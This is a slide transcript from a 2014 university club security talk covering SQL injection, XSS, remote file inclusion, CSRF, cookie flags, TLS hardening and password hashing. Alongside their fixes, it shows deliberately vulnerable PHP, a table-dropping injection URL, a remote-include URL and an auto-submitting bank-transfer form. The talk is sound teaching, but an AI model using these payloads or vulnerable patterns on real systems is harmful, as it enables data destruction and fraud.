Upgrade to Pro
— share decks privately, control downloads, hide ads and more …
Speaker Deck
Sign up for free
Menu
Search
Features
All features
Private URLs
Password Protection
Custom URLS
Scheduled publishing
Remove Branding
Restrict embedding
Deck Collections
Notes
Features
All features
Private URLs
Password Protection
Custom URLS
Scheduled publishing
Remove Branding
Restrict embedding
Deck Collections
Notes
Explore
Featured decks
Featured speakers
Programming
Technology
Storyboards
Explore
Featured decks
Featured speakers
Programming
Technology
Storyboards
Pricing
Search
Sign in
Sign up for free
RCOS Security Talk
Search
Kevin O'Connor
February 28, 2014
Programming
170
3
Share
Embed
Copy iframe code
Copy JS code
Copy link
Start on current slide
RCOS Security Talk
Basic overview of common vulnerabilities and best practices.
Kevin O'Connor
February 28, 2014
More Decks by Kevin O'Connor
See All by Kevin O'Connor
SD&D 101
kevinoconnor7
0
84
Other Decks in Programming
See All in Programming
FreeBSDでZabbixを動かす
kenkino
0
300
スマート反転とウェブアクセシビリティ
camiha
0
210
GraphRAGのKnowledge Graphを 直接!見る/View-GraphRAG's-KnowledgeGraph-directly!
tyumugi1113
1
340
数年滞っていたダークモード対応をおよそ2週間で完了させる
chigichan24
0
720
新卒PdEのリアル
ryu1013
1
500
App Storeの外へ──日本のiOSサイドローディング入門 for iOSDC Japan 2026
yuukiw00w
0
220
モデルのリファクタリングが難しいと思ったら、そもそも複雑だったのはビジネス仕様だった ? / is-the-business-domain-the-real-complexity
hatsu38
0
340
Building an Out-of-Order CPU
latte72
1
790
XP祭りでしか伝わらないフリップネタ #xpjug
murabayashi
0
150
Family mrubyの進捗
kishima
1
130
LL言語やWebフレームワークのPostgreSQL対応 〜DBの機能がユーザーに届くまで〜
kentaroutakeda
1
150
Starting & Sustaining Code-Based E2E Testing for Non-Coding QA Teams( #jasstniigata )
teyamagu
PRO
1
390
Featured
See All Featured
Building a A Zero-Code AI SEO Workflow
portentint
PRO
0
730
Organizational Design Perspectives: An Ontology of Organizational Design Elements
kimpetersen
PRO
1
830
Fashionably flexible responsive web design (full day workshop)
malarkey
409
67k
Neural Spatial Audio Processing for Sound Field Analysis and Control
skoyamalab
0
510
Primal Persuasion: How to Engage the Brain for Learning That Lasts
tmiket
0
450
ラッコキーワード サービス紹介資料
rakko
1
4.9M
Navigating the moral maze — ethical principles for Al-driven product design
skipperchong
2
550
10 Git Anti Patterns You Should be Aware of
lemiorhan
PRO
659
62k
[SF Ruby Conf 2025] Rails X
palkan
3
1.4k
Exploring the relationship between traditional SERPs and Gen AI search
raygrieselhuber
PRO
3
4.3k
個人開発の失敗を避けるイケてる考え方 / tips for indie hackers
panda_program
123
22k
How to build an LLM SEO readiness audit: a practical framework
nmsamuel
1
910
Transcript
YOU SUCK at security
1. Your attackers are better
Do NOT ROLL YOUR OWN
None
1. Open-source 2. Audited 3. Active community
2. Security is hard
No. Seriously.
5,000 CVEs /yr
3. Dont trust input
<?php! $query = "SELECT * FROM users WHERE username='". "$_GET[’user']."'";
! $result = mysql_query($query);!
/derp.php?user=x’ DROP TABLE users;--!
/derp.php?user=x’ DROP TABLE users;--! http://xkcd.com/327/
<?php! $stmt = $dbh->prepare("SELECT FROM users WHERE username=?");! $stmt->execute(array($_GET['user']));! Use
Parameter Binding
<div><?php echo $row['username']; ?></div>! XSS. Inject javascript
<html>! <body>! "<form method="POST" action="/users/add">! " "<input type="text" name="username">! "
"<input type="password" name="password">! " "<input type="hidden" name="isAdmin" value="true">! " "<button type="submit">Create user</button>! "</form>! </body>! </html>! Unexpected Input. Sneaky DOM edit
<?php! include('header.php');! include($_GET['page']);! include('footer.php');! ! /index.php?page=http://sketchy.su/BadTime.php! Remote Include.
Sanitize all input
Blacklist Only use if you know all cases Less restrictive
on user
Whitelist Best security Very restrictive
Protip Markdown Google Caja
4. Protect your cookies
Set-Cookie: SESSIONID=S8d2d1ffd5cb37209ef71982b80f16d7b! Bad Session
Set-Cookie: SESSIONID=S8d2d1ffd5cb37209ef71982b80f16d7b; ! "HttpOnly; secure! GOOD Session Send over SSL
only HTTP access only Prevents XSS theft
5. No Outsiders
<iframe name="bank"></iframe>! <script>! "document.write('! " "<form ! " " action="https://MyBank.com/account/transfer"
! " " target="bank" ! " " method="POST" ! " " name="injected">! " " "<input type="text" name="amount" value="1000.00" />! " " "<input type="text" name="to" value="
[email protected]
" />! " "</form>! "');! "injected.submit();! </script>!
CSRF sucks
Block it. Require a unique token per request X-Frame-Options: Block
6. Encrypt everything
Too expensive? startssl.com
Self-sign Dev Environment openssl req -x509 -newkey des3:2048 -keyout key.pem
- out cert.pem -days XXX!
Verify All CERTS <?php! // cURL supports SSL verification! curl_setopt($ch,
CURLOPT_SSL_VERIFYPEER, true);! ! //File_get_contents does NOT! file_get_contents($url);!
Verify Servers Use server certs to verify servers to one
another
Harden SSL Disable SSL2 Disable TLS1.0 compression Disable weak ciphers
(DES, RC4) h"p://blog.cloudflare.com/staying-‐on-‐top-‐of-‐tls-‐a"acks
Force SSL
7. Use Slow Hashes
No Plaintext Passwords Just don’t.
Hash + Salt MD5 SHA1 … HMAC + bcrypt
Wait. Explain. We want to be slow.
Method password = bcrypt(HMAC(password, local_salt), bcrypt_salt)!
Salt-free db Store salt on file system Two attacks needed
Or both
Migrate. Maintain two hashes Rehash on successful login Purge old
hashes after x duration
Lost Passwords Hash a one-time login ID
8. Remember the basics
Random IV Having the IV be public is okay
Wait for entropy /dev/random waits /dev/urandom non-blocking
Use ECC NSA-Proof * * As far as we know,
at least…
Passwordless Login Use keypairs for server access
9. Use libraries
Crypto NaCL SJCL Crypto++ QCA
Web Frameworks Python: Django, Flask PHP: Laravel, Phalcon Go: Revel
Node: Sails Java/Scala: Play Ruby: Rails
Assume nothing Always research security best practices
Questions? Complaints?
Im hiring Sysadmin.union.rpi.edu/apply